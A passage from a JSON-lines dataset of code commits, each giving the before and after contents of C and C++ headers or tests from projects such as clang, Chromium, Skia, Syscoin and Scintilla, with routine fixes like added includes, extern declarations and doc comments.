or substantial portions of the Software.\n\/\/ \n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\n#import <Foundation\/Foundation.h>\n\nextern NSData * AFJSONEncode(id object, NSError **error);\nextern id AFJSONDecode(NSData *data, NSError **error);\n","subject":"Mark the AFJSON* functions as 'extern'.","message":"Mark the AFJSON* functions as 'extern'.\n","lang":"C","license":"mit","repos":"skillz\/AFNetworking"}
{"commit":"5d31b2abeec8bb6247048e8371067b753ab3e8bf","old_file":"test\/Frontend\/stdin-input.c","new_file":"test\/Frontend\/stdin-input.c","old_contents":"\/\/ RUN: cat %s | %clang -emit-llvm -g -S \\\n\/\/ RUN: -Xclang -main-file-name -Xclang test\/foo.c -x c - -o - | FileCheck %s\n\/\/ CHECK: ; ModuleID = 'test\/foo.c'\n\/\/ CHECK: source_filename = \"test\/foo.c\"\n\/\/ CHECK: !1 = !DIFile(filename: \"test\/foo.c\"\n\nint main() {}\n","new_contents":"\/\/ RUN: cat %s | %clang -emit-llvm -g -S \\\n\/\/ RUN: -Xclang -main-file-name -Xclang test\/foo.c -x c - -o - | FileCheck %s\n\/\/ CHECK: ; ModuleID = 'test\/foo.c'\n\/\/ CHECK: source_filename = \"test\/foo.c\"\n\/\/ CHECK: !DIFile(filename: \"test\/foo.c\"\n\nint main() {}\n","subject":"Fix buildbot failure from r373217 (don't match metadata id exactly)","message":"Fix buildbot failure from r373217 (don't match metadata id exactly)\n\nFix this failure by ignoring the id of the metadata being checked:\n    http:\/\/green.lab.llvm.org\/green\/job\/clang-stage1-cmake-RA-incremental\/3046\/consoleFull#-21332887158254eaf0-7326-4999-85b0-388101f2d404\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@373237 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"e34bafc84fd5a61c8bb9aeba69d7b1ebf671f99b","old_file":"ppapi\/native_client\/src\/shared\/ppapi_proxy\/plugin_ppb_core.h","new_file":"ppapi\/native_client\/src\/shared\/ppapi_proxy\/plugin_ppb_core.h","old_contents":"\/\/ Copyright 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can\n\/\/ be found in the LICENSE file.\n\n#ifndef NATIVE_CLIENT_SRC_SHARED_PPAPI_PROXY_PLUGIN_CORE_H_\n#define NATIVE_CLIENT_SRC_SHARED_PPAPI_PROXY_PLUGIN_CORE_H_\n\n#include \"native_client\/src\/include\/nacl_macros.h\"\n\nclass PPB_Core;\n\nnamespace ppapi_proxy {\n\n\/\/ Implements the untrusted side of the PPB_Core interface.\n\/\/ We will also need an rpc service to implement the trusted side, which is a\n\/\/ very thin wrapper around the PPB_Core interface returned from the browser.\nclass PluginCore {\n public:\n  \/\/ Return an interface pointer usable by PPAPI plugins.\n  static const PPB_Core* GetInterface();\n  \/\/ Mark the calling thread as the main thread for IsMainThread.\n  static void MarkMainThread();\n\n private:\n  NACL_DISALLOW_COPY_AND_ASSIGN(PluginCore);\n};\n\n}  \/\/ namespace ppapi_proxy\n\n#endif  \/\/ NATIVE_CLIENT_SRC_SHARED_PPAPI_PROXY_PLUGIN_CORE_H_\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef NATIVE_CLIENT_SRC_SHARED_PPAPI_PROXY_PLUGIN_CORE_H_\n#define NATIVE_CLIENT_SRC_SHARED_PPAPI_PROXY_PLUGIN_CORE_H_\n\n#include \"native_client\/src\/include\/nacl_macros.h\"\n\nstruct PPB_Core;\n\nnamespace ppapi_proxy {\n\n\/\/ Implements the untrusted side of the PPB_Core interface.\n\/\/ We will also need an rpc service to implement the trusted side, which is a\n\/\/ very thin wrapper around the PPB_Core interface returned from the browser.\nclass PluginCore {\n public:\n  \/\/ Return an interface pointer usable by PPAPI plugins.\n  static const PPB_Core* GetInterface();\n  \/\/ Mark the calling thread as the main thread for IsMainThread.\n  static void MarkMainThread();\n\n private:\n  NACL_DISALLOW_COPY_AND_ASSIGN(PluginCore);\n};\n\n}  \/\/ namespace ppapi_proxy\n\n#endif  \/\/ NATIVE_CLIENT_SRC_SHARED_PPAPI_PROXY_PLUGIN_CORE_H_\n","subject":"Declare PPB_Core as a struct, not a class. (Prevents Clang warning)","message":"Declare PPB_Core as a struct, not a class. (Prevents Clang warning)\n\nReview URL: http:\/\/codereview.chromium.org\/8002017\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@102565 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"adobe\/chromium,gavinp\/chromium,yitian134\/chromium,yitian134\/chromium,gavinp\/chromium,gavinp\/chromium,ropik\/chromium,ropik\/chromium,ropik\/chromium,yitian134\/chromium,adobe\/chromium,yitian134\/chromium,gavinp\/chromium,gavinp\/chromium,yitian134\/chromium,adobe\/chromium,yitian134\/chromium,yitian134\/chromium,adobe\/chromium,adobe\/chromium,gavinp\/chromium,adobe\/chromium,ropik\/chromium,yitian134\/chromium,adobe\/chromium,yitian134\/chromium,ropik\/chromium,adobe\/chromium,adobe\/chromium,gavinp\/chromium,ropik\/chromium,adobe\/chromium,ropik\/chromium,ropik\/chromium,yitian134\/chromium,gavinp\/chromium,gavinp\/chromium,gavinp\/chromium,adobe\/chromium,ropik\/chromium"}
{"commit":"9ece315eb7a01d212072acf474b6407956c7172e","old_file":"src\/main\/entity\/components\/ComponentManager.h","new_file":"src\/main\/entity\/components\/ComponentManager.h","old_contents":"#ifndef COMPONENTMANAGER_H_\n#define COMPONENTMANAGER_H_\n\n#include \"entity\/Entity.h\"\n\n\/**\n * Enumeration for each of our types of components\n *\/\nenum component_t {\n\tPosition,\n\tRender\n};\n\n\/**\n * Base class for all Component Managers.\n *\/\nclass ComponentManager\n{\n\tpublic:\n\t\t\/**\n\t\t * Check if the given Entity has this manager's Component.\n\t\t *\n\t\t * @param e The Entity to test for.\n\t\t *\n\t\t * @return True if the Entity has this Component.\n\t\t *\/\n\t\tvirtual bool entityHasComponent(Entity e) = 0;\n\n\t\t\/**\n\t\t * Add the Component (with default values) to the Entity.\n\t\t *\n\t\t * @param e The Entity to add the Component to.\n\t\t *\/\n\t\tvirtual void addComponent(Entity e) = 0;\n\n\t\t\/**\n\t\t * Remove the Component from the Entity.\n\t\t *\n\t\t * @param e The Entity to remove it from.\n\t\t *\/\n\t\tvirtual void removeComponent(Entity e) = 0;\n\n\t\t\/**\n\t\t * Gets the type of component that this ComponentManager subclass\n\t\t * manages.\n\t\t *\n\t\t * @return One of the component_t enumerations.\n\t\t *\/\n\t\tvirtual component_t getComponentType() = 0;\n\n\tprotected:\n\t\t\/**\n\t\t * This class must be inherited, it cannot be instantiated directly.\n\t\t *\n\t\t * NB: We actually gain this from having pure virtual methods already,\n\t\t * but it can't hurt to have an extra layer e.g. in case for any reason\n\t\t * we start to implement default versions of the above.\n\t\t *\/\n\t\tComponentManager() {};\n};\n\n#endif\n","new_contents":"#ifndef COMPONENTMANAGER_H_\n#define COMPONENTMANAGER_H_\n\n#include \"entity\/Entity.h\"\n\n\/**\n * Enumeration for each of our types of components\n *\/\nenum component_t {\n\tPosition,\n\tSprite\n};\n\n\/**\n * Base class for all Component Managers.\n *\/\nclass ComponentManager\n{\n\tpublic:\n\t\t\/**\n\t\t * Check if the given Entity has this manager's Component.\n\t\t *\n\t\t * @param e The Entity to test for.\n\t\t *\n\t\t * @return True if the Entity has this Component.\n\t\t *\/\n\t\tvirtual bool entityHasComponent(Entity e) = 0;\n\n\t\t\/**\n\t\t * Add the Component (with default values) to the Entity.\n\t\t *\n\t\t * @param e The Entity to add the Component to.\n\t\t *\/\n\t\tvirtual void addComponent(Entity e) = 0;\n\n\t\t\/**\n\t\t * Remove the Component from the Entity.\n\t\t *\n\t\t * @param e The Entity to remove it from.\n\t\t *\/\n\t\tvirtual void removeComponent(Entity e) = 0;\n\n\t\t\/**\n\t\t * Gets the type of component that this ComponentManager subclass\n\t\t * manages.\n\t\t *\n\t\t * @return One of the component_t enumerations.\n\t\t *\/\n\t\tvirtual component_t getComponentType() = 0;\n\n\tprotected:\n\t\t\/**\n\t\t * This class must be inherited, it cannot be instantiated directly.\n\t\t *\n\t\t * NB: We actually gain this from having pure virtual methods already,\n\t\t * but it can't hurt to have an extra layer e.g. in case for any reason\n\t\t * we start to implement default versions of the above.\n\t\t *\/\n\t\tComponentManager() {};\n};\n\n#endif\n","subject":"Rename Render component to Sprite","message":"Rename Render component to Sprite\n\nThe old name made no sense; the new isn't *entirely* accurate, though,\nalthough neither is it entirely inaccurate.\n","lang":"C","license":"mit","repos":"Kromey\/roglick"}
{"commit":"406f4f8e9f92f92803f1efba52537866c1eed873","old_file":"pod_node.h","new_file":"pod_node.h","old_contents":"#ifndef INCLUDE_POD_NODE_H\n#define INCLUDE_POD_NODE_H\n\n#include <stddef.h>\n\n\n\n\/\/ A node is a place on a list.  It simplifies doubly linked lists because the\n\/\/ header is just another node.  Everything in Pod is a node, potentially a\n\/\/ part of a list or map.  Header nodes should be initialized to point to\n\/\/ themselves.  Otherwise, initialize them to NULL.\n\/\/\n\/\/ For example:\n\/\/      pod_node header;\n\/\/\n\/\/      header.previous = &header;\n\/\/      header.next = &header;\n\n\nstruct pod_node;\ntypedef struct pod_node pod_node;\n\nstruct pod_node {\n    pod_node *previous;\n    pod_node *next;\n};\n\n\n\nextern pod_node *pod_node_remove(pod_node *node);\ninline pod_node *pod_node_remove(pod_node *node) \n{\n    pod_node *next;\n\n    next = node->next;\n    node->previous->next = node->next;\n    node->next->previous = node->previous;\n    node->previous = node->next = NULL;\n\n    return next;\n}\n \n\n\n\n#endif \/*INCLUDE_POD_NODE_H *\/\n","new_contents":"#ifndef INCLUDE_POD_NODE_H\n#define INCLUDE_POD_NODE_H\n\n#include <stddef.h>\n\n\n\n\/\/ A node is a place on a list.  It simplifies doubly linked lists because the\n\/\/ header is just another node.  Everything in Pod is a node, potentially a\n\/\/ part of a list or map.  Header nodes should be initialized to point to\n\/\/ themselves.  Otherwise, initialize them to NULL.\n\/\/\n\/\/ For example:\n\/\/      pod_node header;\n\/\/\n\/\/      header.previous = &header;\n\/\/      header.next = &header;\n\n\nstruct pod_node;\ntypedef struct pod_node pod_node;\n\nstruct pod_node {\n    pod_node *previous;\n    pod_node *next;\n};\n\n\n    \/\/ Other pod_node related functions\n\n\/\/ extern pod_node *pod_node_remove(pod_node *node);\nextern inline pod_node *pod_node_remove(pod_node *node) \n{\n    pod_node *next;\n\n    next = node->next;\n    node->previous->next = node->next;\n    node->next->previous = node->previous;\n    node->previous = node->next = NULL;\n\n    return next;\n}\n \n\n\n#endif \/*INCLUDE_POD_NODE_H *\/\n","subject":"Use \"extern inline\" in declarations (I think).","message":"Use \"extern inline\" in declarations (I think).\n","lang":"C","license":"bsd-2-clause","repos":"jamesabanks\/Pod"}
{"commit":"b1038b1310b88206828d59030e19c1806755028e","old_file":"include\/joy\/internal\/seqrange.h","new_file":"include\/joy\/internal\/seqrange.h","old_contents":"","new_contents":"\/*!\n * This file defines a Python-like range function for sequences.\n *\n * @author Louis Dionne\n *\/\n\n#ifndef JOY_INTERNAL_SEQRANGE_H\n#define JOY_INTERNAL_SEQRANGE_H\n\n#include <chaos\/preprocessor\/recursion\/expr.h>\n#include <chaos\/preprocessor\/repetition\/repeat_from_to.h>\n\n\n#define JOY_SEQRANGE(from, to) \\\n    JOY_SEQRANGE_S(CHAOS_PP_STATE(), from, to)\n\n#define JOY_SEQRANGE_S(state, from, to)                                        \\\n    CHAOS_PP_EXPR_S(state)(                                                    \\\n        CHAOS_PP_REPEAT_FROM_TO_S(state, from, to, JOY_I_SEQRANGE, ~)          \\\n    )                                                                          \\\n\/**\/\n\n#define JOY_I_SEQRANGE(state, n, useless) (n)\n\n#endif \/* !JOY_INTERNAL_SEQRANGE_H *\/\n","subject":"Add a Python-like range macro for sequences.","message":"Add a Python-like range macro for sequences.\n","lang":"C","license":"mit","repos":"ldionne\/joy,ldionne\/joy"}
{"commit":"53a441240ae0097d620e9717ee10d2205c1648e0","old_file":"src\/util\/Timeout.h","new_file":"src\/util\/Timeout.h","old_contents":"#pragma once\n#include <functional>\n#include <boost\/asio.hpp>\n\n\/\/ This class abstracts the boost::asio timer in order to provide a generic\n\/\/ facility for timeouts. Once constructed, this class will wait a certain\n\/\/ amount of time and then call the function. The timeout must be canceled\n\/\/ with cancel() before you invalidate your callback.\n\/\/\n\/\/ You must start the timeout with start().\n\/\/\n\/\/ NOTE: The thread that calls the function is undefined. Ensure that your\n\/\/ callback is thread-safe.\nclass Timeout : public std::enable_shared_from_this<Timeout>\n{\n  public:\n    Timeout(unsigned long ms, std::function<void()> f);\n    ~Timeout();\n    inline void start() { reset(); }\n    void reset();\n    \/\/ cancel() attempts to invalidate the callback and ensure that it will not\n    \/\/ run. On success, returns true, guaranteeing that the callback has\/will\n    \/\/ not be triggered. On failure, returns false, indicating either that the\n    \/\/ callback was already canceled, the callback has already finished\n    \/\/ running, or the callback is (about to be) called.\n    bool cancel();\n    \n\n  private:\n    boost::asio::deadline_timer m_timer;\n    std::function<void()> m_callback;\n    long m_timeout_interval;\n\n    std::atomic<bool> m_callback_disabled;\n    \n    void timer_callback(const boost::system::error_code &ec);\n};\n","new_contents":"#pragma once\n#include <functional>\n#include <atomic>\n#include <memory>\n#include <boost\/asio.hpp>\n\n\/\/ This class abstracts the boost::asio timer in order to provide a generic\n\/\/ facility for timeouts. Once constructed, this class will wait a certain\n\/\/ amount of time and then call the function. The timeout must be canceled\n\/\/ with cancel() before you invalidate your callback.\n\/\/\n\/\/ You must start the timeout with start().\n\/\/\n\/\/ NOTE: The thread that calls the function is undefined. Ensure that your\n\/\/ callback is thread-safe.\nclass Timeout : public std::enable_shared_from_this<Timeout>\n{\n  public:\n    Timeout(unsigned long ms, std::function<void()> f);\n    ~Timeout();\n    inline void start() { reset(); }\n    void reset();\n    \/\/ cancel() attempts to invalidate the callback and ensure that it will not\n    \/\/ run. On success, returns true, guaranteeing that the callback has\/will\n    \/\/ not be triggered. On failure, returns false, indicating either that the\n    \/\/ callback was already canceled, the callback has already finished\n    \/\/ running, or the callback is (about to be) called.\n    bool cancel();\n    \n\n  private:\n    boost::asio::deadline_timer m_timer;\n    std::function<void()> m_callback;\n    long m_timeout_interval;\n\n    std::atomic<bool> m_callback_disabled;\n    \n    void timer_callback(const boost::system::error_code &ec);\n};\n","subject":"Add missing includes to fix Clang build.","message":"util: Add missing includes to fix Clang build.\n","lang":"C","license":"bsd-3-clause","repos":"blindsighttf2\/Astron,blindsighttf2\/Astron,blindsighttf2\/Astron,blindsighttf2\/Astron"}
{"commit":"78256b80780fb1a55effc03622e278df09bdb2b9","old_file":"src\/policy\/rbf.h","new_file":"src\/policy\/rbf.h","old_contents":"\/\/ Copyright (c) 2016-2019 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#ifndef SYSCOIN_POLICY_RBF_H\n#define SYSCOIN_POLICY_RBF_H\n\n#include <txmempool.h>\n\nenum class RBFTransactionState {\n    UNKNOWN,\n    REPLACEABLE_BIP125,\n    FINAL\n};\n\n\/\/ Determine whether an in-mempool transaction is signaling opt-in to RBF\n\/\/ according to BIP 125\n\/\/ This involves checking sequence numbers of the transaction, as well\n\/\/ as the sequence numbers of all in-mempool ancestors.\nRBFTransactionState IsRBFOptIn(const CTransaction& tx, const CTxMemPool& pool) EXCLUSIVE_LOCKS_REQUIRED(pool.cs);\n\/\/ SYSCOIN\nRBFTransactionState IsRBFOptIn(const CTransaction& tx, const CTxMemPool& pool, CTxMemPool::setEntries &setAncestors) EXCLUSIVE_LOCKS_REQUIRED(pool.cs);\nRBFTransactionState IsRBFOptInEmptyMempool(const CTransaction& tx);\n\n#endif \/\/ SYSCOIN_POLICY_RBF_H\n","new_contents":"\/\/ Copyright (c) 2016-2019 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#ifndef SYSCOIN_POLICY_RBF_H\n#define SYSCOIN_POLICY_RBF_H\n\n#include <txmempool.h>\n\n\/** The rbf state of unconfirmed transactions *\/\nenum class RBFTransactionState {\n    \/** Unconfirmed tx that does not signal rbf and is not in the mempool *\/\n    UNKNOWN,\n    \/** Either this tx or a mempool ancestor signals rbf *\/\n    REPLACEABLE_BIP125,\n    \/** Neither this tx nor a mempool ancestor signals rbf *\/\n    FINAL,\n};\n\n\/**\n * Determine whether an unconfirmed transaction is signaling opt-in to RBF\n * according to BIP 125\n * This involves checking sequence numbers of the transaction, as well\n * as the sequence numbers of all in-mempool ancestors.\n *\n * @param tx   The unconfirmed transaction\n * @param pool The mempool, which may contain the tx\n *\n * @return     The rbf state\n *\/\nRBFTransactionState IsRBFOptIn(const CTransaction& tx, const CTxMemPool& pool) EXCLUSIVE_LOCKS_REQUIRED(pool.cs);\n\/\/ SYSCOIN\nRBFTransactionState IsRBFOptIn(const CTransaction& tx, const CTxMemPool& pool, CTxMemPool::setEntries &setAncestors) EXCLUSIVE_LOCKS_REQUIRED(pool.cs);\nRBFTransactionState IsRBFOptInEmptyMempool(const CTransaction& tx);\n\n#endif \/\/ SYSCOIN_POLICY_RBF_H\n","subject":"Add doxygen comment to IsRBFOptIn","message":"doc: Add doxygen comment to IsRBFOptIn\n\nFormer-commit-id: 9d51bef94ec279947bd1d28bbbc917d476da2f6e","lang":"C","license":"mit","repos":"syscoin\/syscoin,syscoin\/syscoin,syscoin\/syscoin,syscoin\/syscoin,syscoin\/syscoin,syscoin\/syscoin,syscoin\/syscoin,syscoin\/syscoin"}
{"commit":"f4bccc820b62e91af8f9bee26516c28e10476810","old_file":"Source\/Blu\/Public\/BluManager.h","new_file":"Source\/Blu\/Public\/BluManager.h","old_contents":"#pragma once\n\n#if PLATFORM_WINDOWS\n#include \"AllowWindowsPlatformTypes.h\"\n#endif\n#include \"include\/cef_client.h\"\n#include \"include\/cef_app.h\"\n#if PLATFORM_WINDOWS\n#include \"HideWindowsPlatformTypes.h\"\n#endif\n\nclass BLU_API BluManager : public CefApp\n{\n\n\tpublic:\n\n\t\tBluManager();\n\n\t\tstatic void doBluMessageLoop();\n\t\tstatic CefSettings settings;\n\t\tstatic CefMainArgs main_args;\n\n\tvirtual void OnBeforeCommandLineProcessing(const CefString& process_type,\n\t\t\tCefRefPtr< CefCommandLine > command_line) override;\n\n\tIMPLEMENT_REFCOUNTING(BluManager)\n\n};","new_contents":"#pragma once\n\n#if PLATFORM_WINDOWS\n#include \"AllowWindowsPlatformTypes.h\"\n#endif\n#include \"include\/cef_client.h\"\n#include \"include\/cef_app.h\"\n#if PLATFORM_WINDOWS\n#include \"HideWindowsPlatformTypes.h\"\n#endif\n\nclass BLU_API BluManager : public CefApp\n{\n\n\tpublic:\n\n\t\tBluManager();\n\n\t\tstatic void doBluMessageLoop();\n\t\tstatic CefSettings settings;\n\t\tstatic CefMainArgs main_args;\n\t\tstatic bool CPURenderSettings;\n\n\tvirtual void OnBeforeCommandLineProcessing(const CefString& process_type,\n\t\t\tCefRefPtr< CefCommandLine > command_line) override;\n\n\tIMPLEMENT_REFCOUNTING(BluManager)\n\n};","subject":"Allow user to pick render settings","message":"Allow user to pick render settings\n","lang":"C","license":"mit","repos":"AaronShea\/BLUI,AaronShea\/BLUI,AaronShea\/BLUI,bemon\/BLUI,jgagner92\/BLUI,brandonwamboldt\/BLUI,jgagner92\/BLUI,csfinch\/BLUI,marcthenarc\/BLUI,marcthenarc\/BLUI,csfinch\/BLUI,csfinch\/BLUI,brandonwamboldt\/BLUI,bemon\/BLUI,brandonwamboldt\/BLUI,jgagner92\/BLUI,marcthenarc\/BLUI,bemon\/BLUI"}
{"commit":"3b45e689708533c3f3ac61b831b8d8a238161ca2","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 74\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 75\n#endif\n","subject":"Update Skia milestone to 75","message":"Update Skia milestone to 75\n\nBug: skia:\nChange-Id: I5f682b3685eb68f36e36bf3581d068069af67ba4\nReviewed-on: https:\/\/skia-review.googlesource.com\/c\/skia\/+\/198604\nReviewed-by: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nCommit-Queue: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nAuto-Submit: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"rubenvb\/skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,google\/skia,HalCanary\/skia-hc,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,HalCanary\/skia-hc,google\/skia,HalCanary\/skia-hc,HalCanary\/skia-hc,HalCanary\/skia-hc,HalCanary\/skia-hc,google\/skia,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,google\/skia,rubenvb\/skia,rubenvb\/skia,Hikari-no-Tenshi\/android_external_skia,google\/skia,rubenvb\/skia,rubenvb\/skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,google\/skia,rubenvb\/skia,google\/skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,HalCanary\/skia-hc,rubenvb\/skia,google\/skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia"}
{"commit":"16c5392030f8f27d6b41395ccb45194cfbca79ed","old_file":"tests\/regression\/13-privatized\/32-traces-mine-vs-oplus-vs-meet.c","new_file":"tests\/regression\/13-privatized\/32-traces-mine-vs-oplus-vs-meet.c","old_contents":"#include <pthread.h>\n#include <assert.h>\n\nint g = 0;\npthread_mutex_t A = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t B = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t C = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  pthread_mutex_lock(&A);\n  pthread_mutex_lock(&C);\n  pthread_mutex_lock(&B);\n  g = 5;\n  pthread_mutex_unlock(&B);\n  pthread_mutex_lock(&B);\n  g = 0;\n  pthread_mutex_unlock(&B);\n  pthread_mutex_unlock(&C);\n  pthread_mutex_unlock(&A);\n  return NULL;\n}\n\nint main(void) {\n  pthread_t id;\n  pthread_create(&id, NULL, t_fun, NULL);\n\n  pthread_mutex_lock(&A);\n  pthread_mutex_lock(&B);\n  assert(g == 0);\n  pthread_mutex_unlock(&B);\n  pthread_mutex_unlock(&A);\n\n  pthread_mutex_lock(&B);\n  pthread_mutex_lock(&C);\n  assert(g == 0);\n  pthread_mutex_unlock(&C);\n  pthread_mutex_unlock(&B);\n\n  pthread_join(id, NULL);\n  return 0;\n}\n","new_contents":"#include <pthread.h>\n#include <assert.h>\n\nint g = 0;\npthread_mutex_t A = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t B = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t C = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  pthread_mutex_lock(&A);\n  pthread_mutex_lock(&C);\n  pthread_mutex_lock(&B);\n  g = 5;\n  pthread_mutex_unlock(&B);\n  pthread_mutex_lock(&B);\n  g = 0;\n  pthread_mutex_unlock(&B);\n  pthread_mutex_unlock(&C);\n  pthread_mutex_unlock(&A);\n  return NULL;\n}\n\nint main(void) {\n  pthread_t id;\n  pthread_create(&id, NULL, t_fun, NULL);\n\n  \/\/ This must be before the other to get Mine to fail for the other even with thread ID partitioning.\n  pthread_mutex_lock(&B);\n  pthread_mutex_lock(&C);\n  assert(g == 0);\n  pthread_mutex_unlock(&C);\n  pthread_mutex_unlock(&B);\n\n  pthread_mutex_lock(&A);\n  pthread_mutex_lock(&B);\n  assert(g == 0);\n  pthread_mutex_unlock(&B);\n  pthread_mutex_unlock(&A);\n\n  pthread_join(id, NULL);\n  return 0;\n}\n","subject":"Fix 13\/32 to fail Mine even with thread ID partitioning","message":"Fix 13\/32 to fail Mine even with thread ID partitioning\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"b1fc4c2cd37d6ea015a016aa80514de1355b4664","old_file":"win32\/PlatWin.h","new_file":"win32\/PlatWin.h","old_contents":"\/\/ Scintilla source code edit control\n\/** @file PlatWin.h\n ** Implementation of platform facilities on Windows.\n **\/\n\/\/ Copyright 1998-2011 by Neil Hodgson <neilh@scintilla.org>\n\/\/ The License.txt file describes the conditions under which this software may be distributed.\n\nextern bool IsNT();\nextern void Platform_Initialise(void *hInstance);\nextern void Platform_Finalise();\n\n#if defined(_MSC_VER)\nextern bool LoadD2D();\nextern ID2D1Factory *pD2DFactory;\nextern IDWriteFactory *pIDWriteFactory;\n#endif\n","new_contents":"\/\/ Scintilla source code edit control\n\/** @file PlatWin.h\n ** Implementation of platform facilities on Windows.\n **\/\n\/\/ Copyright 1998-2011 by Neil Hodgson <neilh@scintilla.org>\n\/\/ The License.txt file describes the conditions under which this software may be distributed.\n\nextern bool IsNT();\nextern void Platform_Initialise(void *hInstance);\nextern void Platform_Finalise();\n\n#if defined(USE_D2D)\nextern bool LoadD2D();\nextern ID2D1Factory *pD2DFactory;\nextern IDWriteFactory *pIDWriteFactory;\n#endif\n","subject":"Allow choice of D2D on compiler command line.","message":"Allow choice of D2D on compiler command line.\n","lang":"C","license":"isc","repos":"R1dO\/scintilla_clone,R1dO\/scintilla_clone,R1dO\/scintilla_clone,R1dO\/scintilla_clone,R1dO\/scintilla_clone,R1dO\/scintilla_clone,R1dO\/scintilla_clone,R1dO\/scintilla_clone"}
{"commit":"cd6663b9bab8f725d1138946f1690e63ca440238","old_file":"include\/llvm\/Transforms\/Utils\/UnifyFunctionExitNodes.h","new_file":"include\/llvm\/Transforms\/Utils\/UnifyFunctionExitNodes.h","old_contents":"\/\/===-- UnifyMethodExitNodes.h - Ensure methods have one return --*- C++ -*--=\/\/\n\/\/\n\/\/ This pass is used to ensure that methods have at most one return instruction\n\/\/ in them.  It also holds onto the return instruction of the last unified\n\/\/ method.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_XFORMS_UNIFY_METHOD_EXIT_NODES_H\n#define LLVM_XFORMS_UNIFY_METHOD_EXIT_NODES_H\n\n#include \"llvm\/Pass.h\"\n\nstruct UnifyMethodExitNodes : public MethodPass {\n  BasicBlock *ExitNode;\npublic:\n  static AnalysisID ID;            \/\/ Pass ID\n  UnifyMethodExitNodes(AnalysisID id) : ExitNode(0) { assert(ID == id); }\n\n  \/\/ UnifyAllExitNodes - Unify all exit nodes of the CFG by creating a new\n  \/\/ BasicBlock, and converting all returns to unconditional branches to this\n  \/\/ new basic block.  The singular exit node is returned in ExitNode.\n  \/\/\n  \/\/ If there are no return stmts in the Method, a null pointer is returned.\n  \/\/\n  static bool doit(Method *M, BasicBlock *&ExitNode);\n\n\n  virtual bool runOnMethod(Method *M) {\n    return doit(M, ExitNode);\n  }\n\n  BasicBlock *getExitNode() const { return ExitNode; }\n\n  virtual void getAnalysisUsageInfo(Pass::AnalysisSet &Required,\n                                    Pass::AnalysisSet &Destroyed,\n                                    Pass::AnalysisSet &Provided) {\n    \/\/ FIXME: Should invalidate CFG\n    Provided.push_back(ID);  \/\/ Provide self!\n  }\n};\n\n#endif\n","new_contents":"\/\/===-- UnifyMethodExitNodes.h - Ensure methods have one return --*- C++ -*--=\/\/\n\/\/\n\/\/ This pass is used to ensure that methods have at most one return instruction\n\/\/ in them.  It also holds onto the return instruction of the last unified\n\/\/ method.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_XFORMS_UNIFY_METHOD_EXIT_NODES_H\n#define LLVM_XFORMS_UNIFY_METHOD_EXIT_NODES_H\n\n#include \"llvm\/Pass.h\"\n\nstruct 